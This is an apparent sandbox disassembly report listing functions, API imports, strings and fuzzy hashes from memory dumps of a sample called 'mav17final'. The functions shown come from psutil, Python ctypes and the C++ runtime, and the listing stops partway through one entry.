Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Mem_$CallDict_Err_FreeFunctionItemMallocObject_$DeallocErrorFromLong_OccurredStringUnicode_VoidWith
String ID: LP_%s$_type_$must be a ctypes type$s(O){sO}$s(O){}
API String ID: 2461613936-2311978994
Opcode ID: dac97228159b1c0431957491c5f87e729db2124b065f25bc7d08890040e0cdb2
Instruction ID: 89e5230678c80e768ebd0b314139007c41386be2df6e2ea4383b1c05d45af229
Opcode Fuzzy Hash: dac97228159b1c0431957491c5f87e729db2124b065f25bc7d08890040e0cdb2
Instruction Fuzzy Hash: 84510821A19FC782EE559F2DE85417827A4AF5ABF6F082231DB1E567A4DE3CA445C300

Function 00007FF8B9071A70 Relevance: 36.9, APIs: 12, Strings: 9, Instructions: 124COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9071AB9
GetLastError.KERNEL32 ref: 00007FF8B9071ACF
GetLastError.KERNEL32 ref: 00007FF8B9071AF3
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9071B36
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9071B50
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9071B6A

Strings

psutil/arch/windows/process_utils.c, xrefs: 00007FF8B9071B25, 00007FF8B9071BA2
OpenProcess -> ERROR_INVALID_PARAMETER, xrefs: 00007FF8B9071ADA
OpenProcess -> ERROR_SUCCESS turned into NSP, xrefs: 00007FF8B9071BC6
automatically set for PID 0, xrefs: 00007FF8B9071A9D
OpenProcess -> ERROR_SUCCESS turned into AD, xrefs: 00007FF8B9071B49
OpenProcess, xrefs: 00007FF8B9071C05
psutil-debug [%s:%d]> , xrefs: 00007FF8B9071B2F, 00007FF8B9071BAC
OpenProcess -> ERROR_SUCCESS, xrefs: 00007FF8B9071B6F, 00007FF8B9071BEC
TerminateProcess, xrefs: 00007FF8B9071C3B

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$ErrorLast$OpenProcess
String ID: OpenProcess$OpenProcess -> ERROR_INVALID_PARAMETER$OpenProcess -> ERROR_SUCCESS$OpenProcess -> ERROR_SUCCESS turned into AD$OpenProcess -> ERROR_SUCCESS turned into NSP$TerminateProcess$automatically set for PID 0$psutil-debug [%s:%d]> $psutil/arch/windows/process_utils.c
API String ID: 1112334068-589840707
Opcode ID: b91323493cf4991d72cc5f69666038aa495ed45f80980e8af79a7aa24a3a586c
Instruction ID: 660f10dd0ecfc1b3e88e71524751616582b1191a659d26e27cb1d82bfdd8557a
Opcode Fuzzy Hash: b91323493cf4991d72cc5f69666038aa495ed45f80980e8af79a7aa24a3a586c
Instruction Fuzzy Hash: D0515021F1D5C692EF849F6DF8952B92BA1AF647E0F449036D70D462E5DE2CE487C310

Function 00007FF8B9072FA0 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 245COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B907302F
GetLastError.KERNEL32 ref: 00007FF8B907303D
OpenProcessToken.ADVAPI32 ref: 00007FF8B9073082
GetLastError.KERNEL32 ref: 00007FF8B907308C
GetTokenInformation.ADVAPI32 ref: 00007FF8B90730EC
GetLastError.KERNEL32 ref: 00007FF8B90730FA
CloseHandle.KERNEL32 ref: 00007FF8B9073129
CloseHandle.KERNEL32 ref: 00007FF8B9073139
CloseHandle.KERNEL32 ref: 00007FF8B907317E
CloseHandle.KERNEL32 ref: 00007FF8B9073189
LookupAccountSidW.ADVAPI32 ref: 00007FF8B90731EF
GetLastError.KERNEL32 ref: 00007FF8B90731FD
GetLastError.KERNEL32 ref: 00007FF8B907329F

Strings

OpenProcessToken, xrefs: 00007FF8B9073092
GetTokenInformation, xrefs: 00007FF8B907316D
(originated from %s), xrefs: 00007FF8B907309B
LookupAccountSidW -> ERROR_NONE_MAPPED, xrefs: 00007FF8B90732AC
automatically set for PID 0, xrefs: 00007FF8B9073017
LookupAccountSidW, xrefs: 00007FF8B90732BD
OpenProcess, xrefs: 00007FF8B9073048

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorLast$CloseHandle$OpenProcessToken$AccountInformationLookup
String ID: (originated from %s)$GetTokenInformation$LookupAccountSidW$LookupAccountSidW -> ERROR_NONE_MAPPED$OpenProcess$OpenProcessToken$automatically set for PID 0
API String ID: 87002634-2228157761
Opcode ID: ab338031635624e6a2c5c2832eaaf76bfc1081eaa847f19d9c61aacc585fa64b
Instruction ID: e58e5074eb583d066ace681e6c21974bed991cdc248560ac36c8660a4c43af2b
Opcode Fuzzy Hash: ab338031635624e6a2c5c2832eaaf76bfc1081eaa847f19d9c61aacc585fa64b
Instruction Fuzzy Hash: 26B12721B0DAC782FE549F29B8582796BA1BFA5BE1F444035DB4E067A4EF3CE4478710

Function 00007FF8B9F69798 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON311 ref: 00007FF8B9F697B3
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F697CC
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F697DB
PySlice_Unpack.PYTHON311 ref: 00007FF8B9F69825
PySlice_AdjustIndices.PYTHON311 ref: 00007FF8B9F69843
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F6988C
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F698AD
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F698BB
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F698E3
PyMem_Free.PYTHON311 ref: 00007FF8B9F698EF
PyUnicode_New.PYTHON311 ref: 00007FF8B9F69924
PyUnicode_FromWideChar.PYTHON311 ref: 00007FF8B9F69941
PyList_New.PYTHON311 ref: 00007FF8B9F699A2

Strings

indices must be integers, xrefs: 00007FF8B9F699FD

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: From$Bytes_Err_Mem_SizeSlice_StringUnicode_$AdjustCharCheckFreeIndex_IndicesList_MallocMemoryNumber_OccurredSsize_tUnpackWide
String ID: indices must be integers
API String ID: 4188490530-2024404580
Opcode ID: e570ecff3f3fa346b7648cae94d04275b3108b85bd0816525fe5c5b16466f0b5
Instruction ID: 6de13b959e1744988229e027bd4db27277b8e700f8f380f6a35f5bbd93745bb5
Opcode Fuzzy Hash: e570ecff3f3fa346b7648cae94d04275b3108b85bd0816525fe5c5b16466f0b5
Instruction Fuzzy Hash: 7A715E25A09FC382EA549F2AD95407867A1FF45BFAB085132DF1E47B96DE3CE885C310

Function 00007FF8B9071C80 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 112COMMON

Download Yara Rule

Strings

WaitForSingleObject, xrefs: 00007FF8B9071D4A
WaitForSingleObject() returned WAIT_ABANDONED, xrefs: 00007FF8B9071DDD
automatically set for PID 0, xrefs: 00007FF8B9071CB3
GetExitCodeProcess, xrefs: 00007FF8B9071E16
WaitForSingleObject() returned WAIT_TIMEOUT, xrefs: 00007FF8B9071D65
psutil/_psutil_windows.c, xrefs: 00007FF8B9071D93
OpenProcess, xrefs: 00007FF8B9071CFD
psutil-debug [%s:%d]> , xrefs: 00007FF8B9071D9A
WaitForSingleObject() -> WAIT_ABANDONED, xrefs: 00007FF8B9071DB2

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID:
String ID: GetExitCodeProcess$OpenProcess$WaitForSingleObject$WaitForSingleObject() -> WAIT_ABANDONED$WaitForSingleObject() returned WAIT_ABANDONED$WaitForSingleObject() returned WAIT_TIMEOUT$automatically set for PID 0$psutil-debug [%s:%d]> $psutil/_psutil_windows.c
API String ID: 0-2011784859
Opcode ID: fbe7d8be86f8b85be07ca4f5ecde0da6ed139ace0647608deba24785fe3d89d3
Instruction ID: f972b177ffd35f1e062d5dced1a42a7b331387293c6c5dd48332857e872cd513
Opcode Fuzzy Hash: fbe7d8be86f8b85be07ca4f5ecde0da6ed139ace0647608deba24785fe3d89d3
Instruction Fuzzy Hash: 1E510F25E189C692EE909F29E8541B96BA1BFA4BE0F844032DB5D436A4DF3CE547C740

Function 00007FF8B9F6D4A0 Relevance: 33.3, APIs: 18, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PyUnicode_FromFormatV.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D4C5
PyErr_Fetch.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D4E4
PyErr_NormalizeException.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D4F6
PyType_GetName.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D50D
PyObject_Str.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D515
PyUnicode_AppendAndDel.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D527
PyUnicode_FromString.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D534
PyUnicode_AppendAndDel.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D541
PyErr_Clear.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D550
PyObject_Str.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D55A
PyErr_Clear.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D565
PyUnicode_FromString.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D572
PyUnicode_AppendAndDel.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D57F
PyErr_SetObject.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D594
_Py_Dealloc.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D5A9
_Py_Dealloc.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D5BE
_Py_Dealloc.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D5D3
_Py_Dealloc.PYTHON311(?,?,?,?,?,?,00000000,?,00007FF8B9F67997), ref: 00007FF8B9F6D5E8

Strings

???, xrefs: 00007FF8B9F6D56B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Unicode_$Err_$Dealloc$AppendFrom$ClearObject_String$ExceptionFetchFormatNameNormalizeObjectType_
String ID: ???
API String ID: 979652146-1053719742
Opcode ID: a0277b81e7bf4beead51eb80468770295d906e45afe09c37c0bcdcee4447fb49
Instruction ID: e943524455b8dc462deec382ab112920b4af8d7af4f858e0d089c889faeea006
Opcode Fuzzy Hash: a0277b81e7bf4beead51eb80468770295d906e45afe09c37c0bcdcee4447fb49
Instruction Fuzzy Hash: 13410662A09E8285EE459F68DC541B827B0AF49BEAF185535CB0E52B64DF3CA845D320

Function 00007FF8B9F69E68 Relevance: 33.3, APIs: 13, Strings: 6, Instructions: 78threadlibraryloaderCOMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F69E90
PySys_Audit.PYTHON311 ref: 00007FF8B9F69EAB
PyObject_GetAttrString.PYTHON311 ref: 00007FF8B9F69EC1
PyErr_SetString.PYTHON311 ref: 00007FF8B9F69EF0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F69EFF
PyLong_AsVoidPtr.PYTHON311 ref: 00007FF8B9F69F1A
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F69F2C
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F69F32
PyErr_SetString.PYTHON311 ref: 00007FF8B9F69F4E
PyEval_SaveThread.PYTHON311 ref: 00007FF8B9F69F56
GetProcAddress.KERNEL32 ref: 00007FF8B9F69F67
PyEval_RestoreThread.PYTHON311 ref: 00007FF8B9F69F73
PyErr_Format.PYTHON311 ref: 00007FF8B9F69F94

Strings

symbol '%s' not found, xrefs: 00007FF8B9F69F85
Os:in_dll, xrefs: 00007FF8B9F69E89
could not convert the _handle attribute to a pointer, xrefs: 00007FF8B9F69F44
_handle, xrefs: 00007FF8B9F69EBA
ctypes.dlsym, xrefs: 00007FF8B9F69EA4
the _handle attribute of the second argument must be an integer, xrefs: 00007FF8B9F69EE6

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$String$DeallocEval_Thread$AddressArg_AttrAuditFormatLong_Object_OccurredParseProcRestoreSaveSizeSys_Tuple_Void
String ID: Os:in_dll$_handle$could not convert the _handle attribute to a pointer$ctypes.dlsym$symbol '%s' not found$the _handle attribute of the second argument must be an integer
API String ID: 1915345233-3856192562
Opcode ID: 7ca03c74892ce7554a02cb8c30f6c35098380688a7c70d2a3342523bcc2a4215
Instruction ID: 52e25f89cd49551192c6d03ad898fe681f0d13bda75a6d726745706261349b3c
Opcode Fuzzy Hash: 7ca03c74892ce7554a02cb8c30f6c35098380688a7c70d2a3342523bcc2a4215
Instruction Fuzzy Hash: DB31EC31A19F8281EA449F2EE8541796BA0FF86FE6F195035DB0E47765DF2CE489C300

Function 00007FF8B9F6F724 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 157COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F756
PySequence_Fast.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F772
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F784
PyArg_ParseTuple.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F7E8
PyObject_GetAttr.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F802
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F854
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F8D0
PyObject_SetAttr.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F8E4
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F8F8
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F917
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F931
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F940
PyErr_SetString.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F972
_Py_Dealloc.PYTHON311(?,?,?,?,?,00000018,00000000,00000018,00000000,?,?,00007FF8B9F68C2F), ref: 00007FF8B9F6F983

Strings

_fields_, xrefs: 00007FF8B9F6F748
_fields_ must be a sequence, xrefs: 00007FF8B9F6F768
unexpected type, xrefs: 00007FF8B9F6F968
OO|O, xrefs: 00007FF8B9F6F7E1

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$AttrObject_$String$Arg_Err_FastParseSequence_Tuple
String ID: OO|O$_fields_$_fields_ must be a sequence$unexpected type
API String ID: 1182381414-2418103425
Opcode ID: 9a21982e818a441de51ee13329167cb0591f09edfc229330b12a1e4341a6436c
Instruction ID: 42d7118b5ffb7d0dc3c19ab1a4ac4f7ff564fa90a382d0645403b19612bb7cb5
Opcode Fuzzy Hash: 9a21982e818a441de51ee13329167cb0591f09edfc229330b12a1e4341a6436c
Instruction Fuzzy Hash: FB614A72A09F8692EA648F2AE94417967A0FF4ABF2F186135CB5E03764DF3CE455C300

Function 00007FF8B9F65028 Relevance: 30.1, APIs: 20, Instructions: 148COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6504E
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65065
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6507D
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650A0
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650C6
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F650EC
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65112
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65138
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6515E
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65181
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651A7
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651CD
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F651F3
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65219
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6523F
PyModule_AddType.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F6526C
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F65281
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F652A0
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F652B1
PyType_Ready.PYTHON311(?,?,00000000,00007FF8B9F64FF4,?,?,?,00007FF8B9F64F7C), ref: 00007FF8B9F652D3

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: ReadyType_$Module_Type
String ID:
API String ID: 2298540608-0
Opcode ID: 54f91af859aac5329c47ad103bf883f4ecd078e41e036d01a27fff442e20b039
Instruction ID: fe649812218aa10936684200a38d4b6c9779117c7ac2106554818e3fe422b455
Opcode Fuzzy Hash: 54f91af859aac5329c47ad103bf883f4ecd078e41e036d01a27fff442e20b039
Instruction Fuzzy Hash: 9B718A20A19F9392FA419F29FC841252BA5BF45BEAF444039DA4D97774EF3CE10AC314

Function 00007FF8B9078B90 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 113serviceCOMMON

Download Yara Rule

APIs

QueryServiceStatusEx.ADVAPI32 ref: 00007FF8B9078BFA
GetLastError.KERNEL32 ref: 00007FF8B9078C00
CloseServiceHandle.ADVAPI32 ref: 00007FF8B9078C10

Strings

unknown, xrefs: 00007FF8B9078D27
(sk), xrefs: 00007FF8B9078D32
QueryServiceStatusEx, xrefs: 00007FF8B9078C49, 00007FF8B9078CBD

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Service$CloseErrorHandleLastQueryStatus
String ID: (sk)$QueryServiceStatusEx$unknown
API String ID: 2049475656-71987940
Opcode ID: 260939895f8968e7d6e986ed7e336b89b0b1d1d1002d1a47cba4b384be158184
Instruction ID: c2fd47fa5896c92908f7ba6b6075edb162a096955617bf961a50312c397f9956
Opcode Fuzzy Hash: 260939895f8968e7d6e986ed7e336b89b0b1d1d1002d1a47cba4b384be158184
Instruction Fuzzy Hash: A7510D21A1DAC682EE14DF6AE8541796BA1FFA9BE4F444035DB4E43B64EF3CE4078700

Function 00007FF8BA24C78C Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 289COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C81D
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C856
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C92A
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C93B
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C9A3
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C9B3
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C9FF
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CA11
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CB83

Part of subcall function 00007FF8BA24E72C: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BA24E786

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CC05
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CC14

Strings

`anonymous namespace', xrefs: 00007FF8BA24CAE3

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID: `anonymous namespace'
API String ID: 3863519203-3062148218
Opcode ID: 29843075ff213e4678463bd9e4c4852a4219599ce3764149382065ef125c3596
Instruction ID: 550f045ffe893532339e6bb5e80a155102005404d716f2cba08a5bbfb20e766d
Opcode Fuzzy Hash: 29843075ff213e4678463bd9e4c4852a4219599ce3764149382065ef125c3596
Instruction Fuzzy Hash: C6E13672A08B8299EB10DF2DE5801AD7BA0FB44B84F4441B6EF9D17B59DF38E554E700

Function 00007FF8B9F62C90 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

PyBytes_AsString.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F62D68
PyLong_AsUnsignedLong.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A1F
PyErr_Occurred.PYTHON311(?,?,00000001,00007FF8B9F62C87), ref: 00007FF8B9F67A31
